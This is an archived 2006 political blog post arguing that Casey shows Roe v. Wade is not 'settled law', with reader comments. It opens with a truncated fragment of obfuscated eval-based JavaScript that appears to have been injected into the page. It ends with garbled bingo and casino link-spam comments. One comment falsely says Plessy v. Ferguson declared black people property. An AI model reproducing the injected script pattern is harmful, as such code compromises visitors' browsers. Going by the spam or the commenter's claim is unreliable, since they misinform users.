.split(","));aqwpug=eval;function dabdds(){cfgs=function(){--(bvsauh.body)}()}bvsauh=document;for(khs=0;khs a9END

January 17, 2006

Roe v. Wade and Settled Law

Posted by Carroll Andrew Morse

In a column in today’s Projo, Charles Bakst declares that Senator Lincoln Chafee should vote against Supreme Court nominee Samuel Alito because of the abortion issue...

Voting against Alito is the inescapable result of criteria Chafee himself laid down. In 2000, he volunteered to me that he'd refuse to confirm a Supreme Court nominee who would not pledge to uphold Roe v. Wade.
Mr. Bakst, however, seems to employ a very expansive defition of what is meant by upholding Roe v. Wade; he seems to equate any regulation of abortion to attempts to restrict abortion in general…
I assume Chafee also appreciates that abortion, though still legal, is jeopardized by the virulence of debate and protests, a shortage of willing doctors and by state regulations....

Alito could make things worse by voting to overturn Roe or to affirm more state restrictions.

If a refusal to promise to automatically strike down any regulation of abortion forms a significant component of Mr. Bakst's argument against Judge Alito, then it is Mr. Bakst who is demanding a nominee who will reject Supreme Court precedent.

Contrary to the assertions of Senator Richard Durbin, Roe v. Wade (1973) cannot be honestly described as "settled law". That's not my opinion, that's what the Supreme Court said 14 years ago.

Roe had established a strict trimester framework for the evaluation of abortion laws...

Roe established a trimester framework to govern abortion regulations. Under this elaborate but rigid construct, almost no regulation at all is permitted during the first trimester of pregnancy; regulations designed to protect the woman's health, but not to further the State's interest in potential life, are permitted during the second trimester; and during the third trimester, when the fetus is viable, prohibitions are permitted provided the life or health of the mother is not at stake.
The Supreme Court's decision in the case of Planned Parenthood v. Casey (1992) explicitly invalidated the trimester framework...
Roe's rigid trimester framework is rejected. To promote the State's interest in potential life throughout pregnancy, the State may take measures to ensure that the woman's choice is informed. Measures designed to advance this interest should not be invalidated if their purpose is to persuade the woman to choose childbirth over abortion. These measures must not be an undue burden on the right.
And then the Court went even further, criticizing itself for too quickly dismissing legitimate interests in protecting "potential life" in the decisions that had followed from Roe
Yet it must be remembered that Roe v. Wade speaks with clarity in establishing not only the woman's liberty but also the State's "important and legitimate interest in potential life."…That portion of the decision in Roe has been given too little acknowledgement and implementation by the Court in its subsequent cases.
All three of the above passages are taken directly from the precedential opinion in Planned Parenthood v. Casey, authored by Justice Sandra Day O’Connor in collaboration with Justice Anthony Kennedy and Justice David Souter. Those believing that the Supreme Court's body of "settled law" mandates the automatic rejection of any regulation of abortion are talking about their own policy preferences and not Supreme Court precedent.


I wish to make a small correction, if only regarding the entire premise. Roe vs. Wade is NOT settled law -- as it is not a law. It is a Supreme Court precendent -- a judicial edict. In our republican form of government, the Legislative branch enacts laws. The Judicial branch interprets them. Anything different than that is extra-Constitutional, or better put, judicial activism of the worst sort.

As a precedent, it deserves "respect." However, it is not sacred writ, as some on the left would like us to think. While precedents generally are not overturned easily, they can and have been overturned. A good example is Plessey vs. Ferguson, the Supreme Court decision stating that black people were property, and not people with inalienable rights. When I think of the term "judicial tyranny," it is one of those cases that comes to mind.

Stare Decisis, or the English Common Law understanding of how to address court precendents, is also not to be found in the US Consitution, but as with most Common Law is generally understood to apply to it.

If Senator Chafee votes for or against Judge Alito, based solely on his possible future views regarding abortion, it will be sad, but not necessarily surprising.

Posted by: Will at January 18, 2006 01:05 AM

Will, well said.

Unfortunately, the the U.S. Supreme Court used its interpretive powers to characterize abortion as an individual right under the Constitution--a status that is much stronger than a legislatively-created law.

This is the problem that President Bush is trying to correct with his judicial appointments. Issues such as abortion should not be addressed in the judicial branch, as they are legislative issues that should be handled by individuals who are accountable to the public.

I found Bakst's column to be lacking in depth. As Carroll points out, the modifications to Roe v. Wade means that Chafee could support Alito while still supporting the majority opinion in Roe v. Wade.

The broader question is the constitutional role of the Senate in the confirmation process. Republicans allowed Ruth Bader Ginsburg to sit on the Court even though she was ideologically opposed to most of their beliefs because she was deemed qualified. Will the Democrats accord Alito the same treatment?

Chafee should support Alito if he believes that the President should have the right to select Justices.
Bakst's suggestion that for Chafee to remain true to himself, he must oppose Alito is plain wrong. Bakst's is basing his comments on specific issues rather than over judicial temperment--never a good thing.

It's time like this where it would be nice if the RI conservative movement had even a speaking relationship with Chafee.

Posted by: Anthony at January 18, 2006 02:32 PM

I could not agree with Will & Anthony more, besides, isn't it time this issue went back to the States. I for one am tired of the entire political discussion in America boiling down to Roe v. Wade. There is so much more that we need to focus on. It would be better if the Senate would vote on qualifications, not on how they view Roe.

Posted by: Leonard Marshall at January 20, 2006 09:15 PM

his right arm and twisted it back George let out a moan of pain Biff bingo [url=http://www.ball-bingo.com]bingo[/url] (swallowing hard) Are you trying to tell me that my mothers got the bingo free [url=http://www.ball-bingo.com]bingo free[/url] is rock n roll! bingo online [url=http://www.ball-bingo.com]bingo online[/url] He turned bingo game [url=http://www.ball-bingo.com]bingo game[/url] have gotten there It wasnt bingo internet [url=http://www.ball-bingo.com]bingo internet[/url] back where they belonged bingo play [url=http://www.ball-bingo.com]bingo play[/url] give out on him play bingo [url=http://www.ball-bingo.com]play bingo[/url] plenty to do online bingo [url=http://www.ball-bingo.com]online bingo[/url] So many levels jail take you.

Posted by: online bingo at February 28, 2006 09:20 PM

responsibility that I do not wish to bear My immediate response is to online casinos [url=http://www.mpthrill.com]online casinos[/url] the trigger The loud bang echoed in the room Shemp screeched and .

Posted by: online casinos at March 4, 2006 07:43 AM
Post a comment

Remember personal info?

Type in the anti-spam code
that appears in the box: